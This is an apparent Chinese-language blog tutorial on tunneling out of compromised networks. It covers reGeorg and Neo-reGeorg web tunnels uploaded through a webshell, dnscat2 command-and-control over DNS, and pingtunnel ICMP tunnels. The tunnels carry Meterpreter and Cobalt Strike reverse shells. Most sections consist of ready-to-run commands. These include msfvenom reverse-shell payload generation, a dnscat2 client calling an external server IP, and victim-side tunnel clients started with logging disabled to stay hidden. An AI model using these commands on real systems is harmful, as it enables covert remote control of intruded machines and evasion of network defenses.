HTTP/DNS/ICMP代理实战

HTTP/DNS/ICMP代理实战

代理不代理代理代理,正反代理

/01 HTTP代理-reGeorg

一,reGeorg

首先要准备好reGeorg

image-20201204192844120

拿到某个网站的shell可以上传文件的那种

image-20201204193701341

image-20201204193721238

根据对方的中间件上传对应的脚本,有php,ashx,jsp,

image-20201204193739691

访问对于脚本位置

image-20201204193958076

可以编辑脚本从而不显示提示

本地运行脚本

1
python2 reGeorgSocksProxy.py -u http://192.168.11.13/tunnel.nosocket.php -p 1080

image-20201204194601992

二,Neo-reGeorg

相比reFeorg,它更安全且隐蔽

1.设置密码生成tunnel.(aspx|ashx|jsp|jspx|php)并上传WEB服务器

1
python3 neoreg.py generate -k passwd

image-20201204195540137

image-20201204195524198

2.将加了密的脚本上传服务器

image-20201204200324226

3.运行py连接建立代理

1
python3 neoreg.py -u http://192.168.11.13/tunnel.php -k passw@rd

image-20201204200344844

/02 DNS代理-Dnscat2

一,Dnscat2简介

dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命 令行控制台,所有的指令都可以在该控制台内完成。包括:文件上传、下载、反弹Shell。

直连模式:客户端直接向指定IP的恶意DNS服务器发起DNS解析请求。

中继模式:像我们平时上网一样,DNS解析先经过互联网的迭代解析,最后指向我们的恶意DNS服务器。相比直 连,速度较慢,但是更安全。

二,Dnscat2服务端安装

1
2
3
4
5
6
7
apt install ruby ruby-dev git make g++ ruby-bundler
gem install bundler


git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install

三,Dnscat2客户端编译

1
2
3
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make

make编译之后会在此目录下生成一个dnscat可执行二进制文件。

四,Dnscat2直连模式

启动服务端:

1
ruby ./dnscat2.rb

启动失败

启动成功

server后面的hash值需要复制客户端启动时要用到

启动客户端:

1
./dnscat --dns server=139.155.49.43,port=53 --secret={secret}

服务端接收到会话:

五,Dnscat2中继模式

准备: 1. 一台公网C&C服务器 2. 一台内网靶机 3. 一个可配置解析的域名

配置DNS域名解析:

1.创建A记录,将自己的域名解析服务器(ns.ailumao.cn)指向云服务器(VPSIP)

2.创建NS记录,将子域名dnsch.ailumao.cn的DNS解析交给ns.ailumao.cn

启动服务端:

1
ruby ./dnscat2.rb dnsch.ailumao.xyz --secret=ailumao

启动服务端:

1
ruby ./dnscat2.rb dnsch.ailumao.xyz --secret=ailumao

服务端接收会话

由于服务器上搭建了网站就不示范了

/03 ICMP代理-Pingtunnel

一,Icmp隧道作用

通过某种信道获取了内网主机的shell,但是当前信道不适合做远控的通信信道,tcp和udp等传输层协议不能出 网,dns、http等应用层协议也不能出网,只有icmp协议可以出网。

https://github.com/esrrhs/pingtunnel

二,pingtunnel参数详解

image-20201204202122939

image-20201204202149084

image-20201204202204496

三,ICMP隧道转发TCP上线MSF

1.VPS启动ICMP隧道服务端

icmp服务端和msf服务端都在VPS上

1
./pingtunnel -type server

image-20201205173119420

2.靶机启动ICMP隧道客户端

icmp客户端监听127.0.0.1:9999 ,通过连接到192.168.11.11的icmp隧道,将127.0.0.1:9999收到的tcp数据包转发到192.168.11.11:7777

1
./pingtunel.exe -type client -l 127.0.0.1:9999 -s 192.168.11.11 -t 192.168.11.11:7777 -tcp 1 -noprint 1 -nolog 1

启动成功之后服务端会有对应IP的流量。

3.MSF生成反弹shell的payload

1
msfvenom -p python/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=9999 -f raw

4.执行payload反弹shell到MSF

注意payload为python/x64/meterpreter/reverse_tcp

四,ICMP隧道转发socks上线MSF

1.VPS启动ICMP隧道服务端

ICMP服务和msf服务都在此VPS上

1
./pingtunnel -type server

2.靶机启动ICMP隧道客户端

icmp隧道客户端监听127.0.0.1:9999启动socks5服务,通过连接到139.155.49.43的icmp隧道,由icmpserver转发socks5代理请求到目的地址139.155.49.43:8899

1
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.11.11 -socks5 1 -noprit 1 -nolog 1

3.MSF生成反弹shell的payload

生成支持socks代理的反向payload

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=139.155.49.43 lport=8899 HttpProxyType=SOCKS HttpProxyHost=127.0.0.1 HttpProxyPort=9999 -f elf > 8899.elf

4.执行payload反弹shell到MSF

五,ICMP隧道转发TCP上线CS

1.VPS启动ICMP隧道服务端

139.155.49.43,icmp服务端和msf服务都在VPS

1
./pingtunnel -type server

image-20201207143804385

2.靶机启动ICMP隧道客户端

1
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.11.11 -t 192.168.11.11:7777 -tcp 1 -noprint 1 -nolog 1

image-20201207143829581

新建一个监听者:

image-20201206200644667

image-20201206200512118

之后生成artifact.exe在目标机运行基本就可以上线到CS了

Tips:

pingtunnel用于内网的TCP做ICMP隐藏,让内网中不能以TCP出网的机器出网。

当我们了解对方的策略时我们可以因地制宜的选择代理方式,HTTP类型的Dns类型ICMP类型,每种都有优略。比如DNS相对隐蔽,ICMP适用性广等等。